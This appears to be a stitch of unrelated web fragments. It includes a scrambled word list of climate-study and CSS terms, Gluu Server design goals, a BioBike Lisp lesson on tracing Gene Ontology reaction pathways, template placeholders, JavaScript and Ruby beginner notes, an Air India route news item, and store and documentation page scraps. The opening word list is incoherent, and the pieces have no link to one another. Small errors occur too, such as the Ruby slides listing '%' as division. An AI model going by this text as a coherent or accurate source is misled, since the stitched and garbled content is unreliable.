cities temperature increases mean degrees climate hottest month {border-style Climate urban px;} #ffffff;} heat temperatures Celsius emissions increase change health high SHUE city data global Change RCP. However, adaptation changes large px; year {font-family Figure GHG New collab: ecoregion font-size model populations Environ GCMs Health RCP., USA Urban analysis based coldest database double; generally including information latitude low monthly potential results seasonal study temperate variation (SHUE) Cities Environments Int NY, Sustainable Table Wilkinson York, ability average border-color border-width current diurnal dry ensemble environmental greater humid implications models present project relatively sample solid; substantial tropical {font-style {font-weight Assessment Chang Fifth GCM GeoNames Haines Healthy Intergovernmental James Milner Model Panel Report University [], adjustment analyses assessment bold calculated challenges characteristics climates consistent courier; differences distribution downscaling effect effects em; especially estimated focus grid help humidity, impacts island largest likely mortality order population pt;} regions, relation risks simple size warming


Better Doctor Search
Enter a search query based on name or medical condition to find a doctor near you:
Search by doctor name:
Submit
Search by medical issue:
Submit
Reset Search


Design Goals
Free Open Source Identity Suite
One of the things that has made access management difficult for organizations is that there is no one tool you can deploy to solve even average requirements. The Gluu Server provides a recipe to deploy a combination of the best free open source tools, working together.
Support most promising open standards
The goal of the Gluu Server is to support the minimum number of standards necessary to authenticate people, and to authorize them to access the resources they need to do business for the domain. The Gluu Server should be practical about supporting older protocols, but always strive to be the first implementer of the most promising new protocols.
Leverage existing business processes
Where possible, the Gluu Server goes to work with a minimal amount of changes to existing business processes. Don't "rip and replace", but for new applications, use new protocols wherever possible to avoid the creation of future upgrade work.
Free license
The components of the Gluu Server should be free to use in production. This license strategy will produce the best software at the lowest total cost of ownership for the organization.
Write as a last resort
Use the best software that exists. If something the Gluu Server needs doesn't exist, it may become an OX project. If some group comes along and writes software better than an existing OX component, use it!
Not just comprehensive, but easy to use
The Gluu Server should make it easy for domain system administrators to control access to Web and network resources. Usability is more important than features.
Horizontal scalability
System administrators should be able to add more servers to make the Gluu Server scale as much as needed.
Extreme flexibility
As Kent Beck says, "Embrace Change". The key to the Gluu Server's success has been its ability to handle all sorts of crazy requirements--quickly. Sometimes raw speed is needed, but equally important is the ability for the access management framework to be really smart.


Copyright 2002-2006 by The BioBike Team (contact<EMAIL_ADDRESS>In a previous lesson we used the relational knowledge captured in the Gene Ontology ISA and SUBCLASS slots to do some interesting analysis of the relationships between biological functions.
Let's look once again at a gene ontology frame in BioBike:
>> (df #$GO.NadphDehydrogenaseActivity) :: Slots of #$GO.NadphDehydrogenaseActivity: #$GO.goid: 3959 #$Source: :GO #$GO.prettyname: "NADPH dehydrogenase activity" #$GO.Namespace: #$Go.Molecular_Function #$GO.definition: "Catalysis of the reaction: NADPH + H+ + acceptor = NADP+ + reduced acceptor." #$isA: (#$Go.Reaction #$GO.OxidoreductaseActivity,ActingOnNadhOrNadph #$GO.ElectronTransporterActivity) #$GO.ECRef: (#$EC.<IP_ADDRESS>) #$GO.DBXRefs: (("EC" "<IP_ADDRESS>")) #$Go.reactants: (#$MOL.Nadph #$MOL.H+ #$MOL.Acceptor) #$Go.products: (#$MOL.Nadp+ #$MOL.ReducedAcceptor)In that previous lesson we were working with the ISA and SUBCLASS slots of GO frames. We can say that the GO represents the relationships between biological functions, and we used that representation to reason (compute) about the relationships between those functions. This time we're going to work with two other slots: #$GO.REACTANTS, and #$GO.PRODUCTS.
Recall from the lesson on metabolic simulation that we had created a reaction structure and a molecular structure, and two global variables: *reactions* and *molecules*, and then we wrote simple code to simulate the metabolic chemistry for a few specific enzymes. (If you don't remember, this, you should go back and review that lesson.)
Now we want to do the same thing, but instead of defining our own reactions and molecules, we're going to use the ones already built into BioBike by virtue of the Gene Ontology.
You'll recall that after we had defined all our reactions and molecules, we defined a "environment" consisting of a bunch of molecules, and a goal, which told us to stop when we find a particular molecule in the environment. Here these will be nearly the same, but instead of using simple names, as we did in the previous less, we'll refer to the MOL. frames for the molecules we're interested in. Otherwise these functions are mostly the same, although we're not going to include the enzymes in the environment (we'll assume that all enzymes are available for now):
>> (defvar *env* nil) >> (defun init-env () >> (setq *env* >> '(#$MOL.Atp #$MOL.Adp #$mol.gtp #$mol.gdp #$mol.phosphate >> #$MOL.Nad+ #$mol.fad #$MOL.Fructose #$MOL.d-Glucose)))We also need a way to figure out that we're done (otherwise we can just keep running reactions forever!) To do that we'll define a specific goal molecule, which, when it shows up in the environment, indicates that we're done. For now we'll set up the goal to be malate:
>> (defvar *goal* nil) >> (defun init-goal () >> (setq *goal* #$MOL.Malate))And the master init function:
>> (defun init () >> (init-env) >> (init-goal))And remember to call it:
>> (init)Okay. Now we need the equivalent of the function that finds all the reactions that could possibly take place given the current environment. It turns out that that's pretty easy because the molecules tell us what reactions operate on them. For example, let's look at:
>> (df #$MOL.Glucose) :: Slots of #$MOL.Glucose: #$isA: (#$GO.Molecule) #$Go.reactantIn: (#$GO.1-PhenanthrolGlycosyltransferaseActivity #$GO.9-PhenanthrolGlycosyltransferaseActivity #$GO.PhenanthrolGlycosyltransferaseActivity) #$Go.productIn: (#$GO.6-Phospho-Beta-GlucosidaseActivity #$GO.InulosucraseActivity #$GO.LevansucraseActivity) #$GO.KEGGFrame.s: (#$KEGG.C00293)So glucose reacts in those 6 (3+3) reactions, and if you look at one of those:
>> (df #$GO.6-Phospho-Beta-GlucosidaseActivity) :: Slots of #$GO.6-Phospho-Beta-GlucosidaseActivity: #$GO.goid: 8706 #$Source: :GO #$GO.prettyname: "6-phospho-beta-glucosidase activity" #$GO.Namespace: #$Go.Molecular_Function #$GO.definition: "Catalysis of the reaction: 6-phospho-beta-D-glucoside-(1,4)-D-glucose + H2O = D-glucose 6-phosphate + glucose." #$isA: (#$Go.Reaction #$GO.Beta-GlucosidaseActivity) #$GO.ECRef: (#$EC.<IP_ADDRESS>) #$GO.DBXRefs: (("EC" "<IP_ADDRESS>")) #$Go.reactants: (#$MOL.6-Phospho-Beta-D-Glucoside-[1,4]-D-Glucose #$MOL.H2o) #$Go.products: (#$MOL.D-Glucose6-Phosphate #$MOL.Glucose)you'll see that, indeed, it has #$MOL.Glucose as one of its products.
So all that we need to do is to go through all the GO frames and find ones where either all of their reactants as in the environment. Here's the specific test:
>> (defun go-reaction-can-go-forward? (go-frame env) >> (loop for reactant in (#^go.reactants go-frame) >> when (not (member reactant env)) >> do (return nil) >> finally (return t))) ;;; And here's the function that finds all possible reactions: >> (defun possible-reactions (env) >> (loop for frame in *go-frames* >> when (go-reaction-can-go-forward? frame env) >> collect frame)) ;;; And let's try it: >> (possible-reactions *env*) :: [...a HUGE long list of GO frames! ...]Oops! Obvious not ALL of those can react in the present setting. One thing that we neglected to check is that the GO frame actually represents a reaction; most of the ones in the long list turn out not to be reactions at all, but because they have no #^go.reactants slot, they can go forward in a sort of "degenerate" condition. We can tell whether a frame represents a reaction by looking to see if its has #$GO.REACTION in its ISA slot, so here a new version of GO-REACTION-CAN-GO-FORWARD? that takes this into account:
>> (defun go-reaction-can-go-forward? (go-frame env) >> (when (member #$go.reaction (#^isa go-frame)) >> (loop for reactant in (#^go.reactants go-frame) >> when (not (member reactant env)) >> do (return nil) >> finally (return t)))) ;;; And let's try again: >> (possible-reactions *env*) :: (#$GO.GtpDiphosphokinaseActivity #$GO.GuanylateCyclaseActivity #$GO.Hydrogen-TransportingAtpSynthaseActivity,RotationalMechanism #$GO.ReceptorGuanylateCyclaseActivity #$GO.AtpAdenylyltransferaseActivity #$GO.Nad+KinaseActivity #$GO.2'-5'-OligoadenylateSynthetaseActivity #$GO.AdenylateCyclaseActivity)Ahhhhh. Much better!
Now, we actually need a very slightly different form called (previously) possible-reactions-from which lets us specify that we've come from a particular molecule:
>> (defun possible-reactions-from (from env) >> (loop for frame in *go-frames* >> when (and (member from (#^go.reactants frame)) >> (go-reaction-can-go-forward? frame env)) >> collect frame))
Okay, we should be ready to find paths based upon the Gene Ontology reaction definitions, instead of our couple of dozen manually installed reactions. We'll actually have to make two very small changes to FPATHSTO, and its underlying functions to use built-in Gene Ontology frames instead of the structures we used in the previous lesson:
;;; These are identical to the way it was done before: >> (defun apply-reaction (reaction-frame env) >> (append env >> (loop for product in (#^go.products reaction-frame) >> collect product))) >> (defun paths (env goal &optional path) >> (cond ((find goal env) (list path)) ; Found the goal: Done! >> (t (loop for reaction in (loop for reaction in (possible-reactions env) >> when (not (member reaction path)) >> collect reaction) >> append (paths (apply-reaction reaction env) >> goal >> (cons reaction path)))) >> )) >> (defun superset? (s1 s2) >> (and (>= (length s1) (length s2)) >> (every #'(lambda (s) (member s s1 :test #'equal)) s2))) >> (defun paths-between (from to &optional (env *env*) path) >> (cond ((member to env) (list path)) >> (t (loop for reaction in (possible-reactions-from from env) >> when (not (member reaction path)) >> append (paths-via (cons reaction path) to >> (apply-reaction reaction env)))) >> )) ;;; This is the same, although we don't have the S-type constraint anymore: >> (defun paths-via (path to env) >> (loop for link-mol in (#^go.products (car path)) >> append (paths-between link-mol to env path))) ;;; This is simpler (and is a function, not a macro) ;;; because we are giving specific molecule frames: >> (defun fpathsto (from to) >> (length (setq *pathways* >> (remove-duplicates >> (paths-between from to *env*) >> :test #'superset?))))Notice that the changes we've made above in no way change the logic of the old dynamic pathway creation code; They are just fixes that enable us to use the new reaction representation that we scraped out of the Gene Ontology!
Also notice that I've added back the old REMOVE-DUPLICATE-PATHS call, which I couldn't decide on whether we wanted it or not in the first Pathway Logic section. That's because there are so many possible paths now that it helps to just have the minimal pathway in order to see what's going on.
Okay, so now we're ready to give it a go! (I've repeated the whole sequence here; You probably don't have to re-do the initializations if you've been working through this whole section line-by-line, although it can't hurt!)
>> (init-env) ;;; Testing the thing: >> (fpathsto #$MOL.d-Glucose #$MOL.D-Glucose6-Phosphate) :: 1 ;;; Okay, let's take a look: >> *pathways* :: ((#$GO.GlucokinaseActivity)) ;;; Prefect! Let's try going a little farther: >> (fpathsto #$MOL.d-Glucose #$MOL.D-Fructose6-Phosphate) :: 1 ;;; Again, lets see it >> *pathways* :: ((#$GO.Glucose-6-PhosphateIsomeraseActivity #$GO.GlucokinaseActivity)) ;;; Looking good! (Remember that the last reaction to run ;;; appears at the head (first) in this list!) >> (fpathsto #$mol.d-glucose #$MOL.AcetylPhosphate ) :: 1 >> *pathways* :: ((#$GO.Fructose-6-PhosphatePhosphoketolaseActivity #$GO.Glucose-6-PhosphateIsomeraseActivity #$GO.GlucokinaseActivity)) ;;; Excellenta! ;;; Let's try to go someplace we think we can't get to: >> (fpathsto #$mol.d-glucose #$MOL.N6-Acetyl-L-Lysine) :: *** TIMEOUT ! TIMEOUT ! TIMEOUT *** *** COMPUTATION ABORTED AFTER 10 SECONDS *** *** YOU CAN: *** - contact support for help<EMAIL_ADDRESS>*** - use SET-TIMELIMIT to extend your timeout up to 1 hour *** - use RUNJOB to run your code in a separate process *** - type (explain-timeout) at the weblistener for detailed info.Hmmm. Well, I suppose that's what we would expect: It's trying every possible pathway in the whole GO to get to where you've asked it to go, and can't find its way.
We could expand this by adding various sorts of search constraints to make the search faster, or to have it bottom out at a certain length of pathway, but those are nuances. This is good enough for a single lesson.
(defun all-subsets (l) (if (null l) (list nil) (append (loop for i in (all-subsets (cdr l)) collect (cons (car l) i)) ?????????????????????)))  (Hint, the number of question-marks in the missing piece represents the correct number of characters in the solution!)
Use your new function to determine how many combinations are there of the original 9 environment variables?
Now use all-subsets to find the minimum possible environment for glucose to pyruvate metabolism in the current enzymatic environment (that is, given the reaction set that we have).
Next, you'll want to write a function that loops over all the subsets (that is, loops over the results of ALL-SUBSETS, as above), and sets the *env* to each one in turn, and sees if there's a path between glu and pyr (just like we did above). If there is, collect it, and when you're done, find the smallest of these (by sorting, for example). How many of the subsets of the orignal *env* work to take glucose to pyruvate? What is the minimal environment?
Here's a useful trick: If you want to temporarily set the value of a DEFVAR -- that is, a special or global variable (as *ENV* is -- note that we DEFVAR'ed it above!) all you need to do is to "LET" bind it. That is:
(let ((*env* whatever-its-new-value-is)) whatever-computation-you-want-to-do) Example: >> (defvar glb1) >> (defvar glb2) >> (defun dumb-function () >> (* glb1 glb2)) >> (setf glb1 '(a s d f) glb2 "this is a string, not a number!") This will cause an error: >> (dumb-function) Error: Evaluation failed. Actual error: `(A S D F)' is not of the expected type `NUMBER' Use (EXPLAIN) to see a stack trace. But if we let bind glb1 and glb2, it will work! >> (let* ((glb1 (+ 5 7)) >> (glb2 (expt glb1 3))) >> (dumb-function)) :: 20736 And the values of glb1 and glb2 are not affected: >> (list glb1 glb2) :: ((A S D F) "this is a string, not a number!")Note that the values of glb1 and glb2 were LOCALLY BOUND by the LET*. You can do the same thing for *ENV*, and then call your new defun version of fpathsto
Copyright 2002-20065 by The BioBike Team (contact jshrager@stanford.edu)


{{ totalenrolments_per_day }}average enrolments per day over last 30 days
{{ totalenrolments }}Total Enrolments
Enrolments For Courses
{{course.meta.name}}
{{ course.enrolments }} total enrolments
{{ course.perday }} enrolments per day
{{ course.certificates }} certificate eligible
currently the course is {{ course.status }}
Learner Progress and Certificate Eligible
Registered: Registered for course but did not access any content.
Viewed: Anyone who accessed the ’Courseware’ tab (the home of the videos, problem sets, and assessment) within
the edX platform for the course. Note that there exist course materials outside of the ’Courseware’ tab, such as
the Syllabus or the Discussion forums.
Explored: Anyone who accessed at least half of the chapters in the courseware (chapters are the highest level
on the ”courseware” menu housing course content).
Certificate Eligible: Anyone who acheived the pass mark or better (only passing verified students can receive a certificate).
Demographics
Top Countries (total {{total_countries}} countries)
Top Countries (total {{total_countries}} countries)


JavaScript Language
Describe all the use cases for:
parentheses ():
as a grouping operator: e.g. 1 + 3 * 5 = 16 vs. (1 + 3) * 5 = 20
with loops: if (x=y), for (x=0; x<5; x++), while (x<7)
with switch statements: switch (prize)
with conditional statements: if ( a < b)
with functions: they (can) contain paramenter/s when defining the function and they also contain the
argument/s when functions are called.
e.g. function bikes (name, colour) {} - defining function, paramenters in ()
console.log(bikes(Trance, black)); - arguments in ()
when adding an Event Lister: document.addEventListener('click', checkForWin);
with arrow notation: () => {}
brackets []: get used when creating arrays and accessing array values. Brackets can also be used in square bracket notation to access the property of an object (instead of dot notation).
braces {}: enclose blocks of code such as functions, loops and conditional statements. They are also used with objects and enclose all the object's properties.
single quotes '' and double quotes "": get used with strings.
Home


User: {{ entry.user }}
Time: {{ entry.time_s }} s
Method: {{ entry.method_str }}
Used VPs: {{ entry.automatic }}
Angle (z): {{ entry.phi_degrees|floatformat:3 }}
Full Transform: {{ entry.uvnb }}
{% include "license_inline.html" with license=entry.shape.photo.license %} {% for v in votes %}


History of Ruby
- Written / Invented by Yukihiro Matsumoto “Matz” in 1995
- Based on Lisp, Perl, and others
- Gained popularity around 2000
- Ruby on Rails comes out in 2005 and Ruby really explodes in popularity at that time.
Ruby is...
- Created for Programmer Happiness
- Object-Oriented
- Dynamic Type System
- Duck Type System
*Not* Static Type Language
Everything is True (except for False and Nil)
https://repl.it
Select "Ruby"
Repl.It
puts "Hello World!"
print "Hello World!"
Does math!
1 + 1
Will evaluate to 2!
You can subtract (-), multiply (*), divide (%)
Variables
Just puting Hello World! every time is boring. We can store this in a variable!
greeting = "Hello World!"
Note the single =
single = means assignment
double = means evaluation / comparison
Variables
Variables can store anything!
- String (text in "")
- Integers (numbers without "")
- Boolean values (true or false)
- Random numbers!
- The sum of things!
Helper methods!
- upcase
- capitalize
- swap case
- reverse
- length
These are all built-in with Ruby!
Your turn!
In Repl.It...
- Practice puts and print
- Do some math in Ruby
- Set x = a number
- Set y = a different number
- Sum x and y
- Bonus points: set a variable to the sum of x and y
Duration: 5 minutes
Methods!
Methods do things!
They take in properties (arguments)
Methods
This method takes in a name, and greets the name.
def greeting(name)
name = name.capitalize
puts "Hello #{name}"
end
Methods
Methods can do fancy things, like looping!
def annoying_greeting(name, i)
name = name.upcase
i = i
i.times do
puts "HELLO #{name}"
end
Classes
- Object-oriented programming!
- Modeled after “real” things
- Self-contained
- Must be initaitied
- Can inherit properties from "parent" Classes
Your turn!
- Write a Class
- Initialize it
- Write a simple method for it (like meows)
- Write a sub Class that inherits from your first Class
- Start a new class in Repl and set it to a variable, try calling its methods
Exercise: Number Guessing Game
Rails
- Most well-known Ruby gem!
- Invented by DHH (Basecamp)
- Came out in 2005
- Powers Twitter in 2006
- Used by companies like Groupon, Funny or Die, Hulu, Airbnb...
Alternative Ruby implementations
- JRuby: Ruby that compiles to Java
- Opal: Ruby that compiles to Javascript
- Ruby Motion: Ruby that lets you code iOS and Android apps


{% load i18n %} {% load spurl %}
{% blocktrans %} Copy/paste a list of Omics Units or enter keywords to match in the descriptions of the different genes to select a subset of pixels. {% endblocktrans %}
{% blocktrans count selected=pixels_count %} You have selected {{ selected }} pixel {% plural %} You have selected {{ selected }} pixels {% endblocktrans %} {% blocktrans with total=total_count %} among a grand total of {{ total }} pixels. {% endblocktrans %}


Air India to fly from Chandigarh to Dharamshala six days a week now
The Air India flight that will operate six days a week, sparing Sunday, will take off from Gaggal Airport at 8 am and will land at Chandigarh Airport around 9.30 am.
by Express News ServiceFlight operations from Chandigarh to Dharamshala began on Saturday with Air India’s flight taking off from Chandigarh. Tickets for the 70-seater flight was priced around Rs 1,712 per person.
The Air India flight that will operate six days a week, sparing Sunday, will take off from Gaggal Airport at 8 am and will land at Chandigarh Airport around 9.30 am.
From Chandigarh Airport, it will depart at 9.55 am and will reach Dharamshala at 10.55 am.
A passenger from Delhi, Eish, who was travelling in the Chandigarh to Dharamshala flight, said, “I am working with an IT firm, and I have to travel to Dharamshala many times. Earlier, it was difficult to reach Dharamshala and return to Delhi, but with the new flight operating between Chandigarh and Dharamshala, the journey has become convenient.”


Your shopping cart is empty!
Product 8..
$122.00
Video in your pocket. Its the small iPod with one very big idea: video. The worlds most popula..
iPhone is a revolutionary new mobile phone that allows you to make a call by simply tapping a name o..
$123.20
Save 50%
Just when you thought iMac had everything, now there´s even more. More powerful Intel Core 2 Duo pro..
$62.00 $122.00
Save 10%
The 30-inch Apple Cinema HD Display delivers an amazing 2560 x 1600 pixel resolution. Designed speci..
$110.00 $122.00
Intel Core 2 Duo processor Powered by an Intel Core 2 Duo processor at speeds up to 2.16GHz, t..
$602.00
MacBook Air is ultrathin, ultraportable, and ultra unlike anything else. But you don’t lose in..
$1,202.00
Latest Intel mobile architecture Powered by the most advanced mobile processors from Intel, ..
$2,000.00
Unprecedented power. The next generation of processing technology has arrived. Built into the newest..
HTC Touch - in High Definition. Watch music videos and streaming content in awe-inspiring high defin..
Stop your co-workers in their tracks with the stunning new 30-inch diagonal HP LP3065 Flat Panel Mon..
Redefine your workday with the Palm Treo Pro smartphone. Perfectly balanced, you can respond to busi..
$337.99
More room to move. With 80GB or 160GB of storage and up to 40 hours of battery life, the new..
Save 20%
Canon's press material for the EOS 5D states that it 'defines (a) new D-SLR category', while we're n..
$98.00 $122.00
Engineered with pro-level features and performance, the 12.3-effective-megapixel D300 combines brand..
$98.00


Planning and preparing your home emergency kit can be overwhelming. With DisasterProof, it takes just a few minutes to make all the big decisions about your own disaster preparedness plan.
Use the form below to get started putting together your kit and making your household DisasterProof.
Already made a plan?


SimpleITK
1.1.0
SimpleITK
Code
Explicit
include
sitkExplicitITKVectorImage.h File Reference
#include "
sitkExplicit.h
"
#include "
itkVectorImage.h
"
Include dependency graph for sitkExplicitITKVectorImage.h:
This graph shows which files directly or indirectly include this file:
Go to the source code of this file.
Generated on Fri Mar 6 2020 16:06:38 for SimpleITK by
1.8.17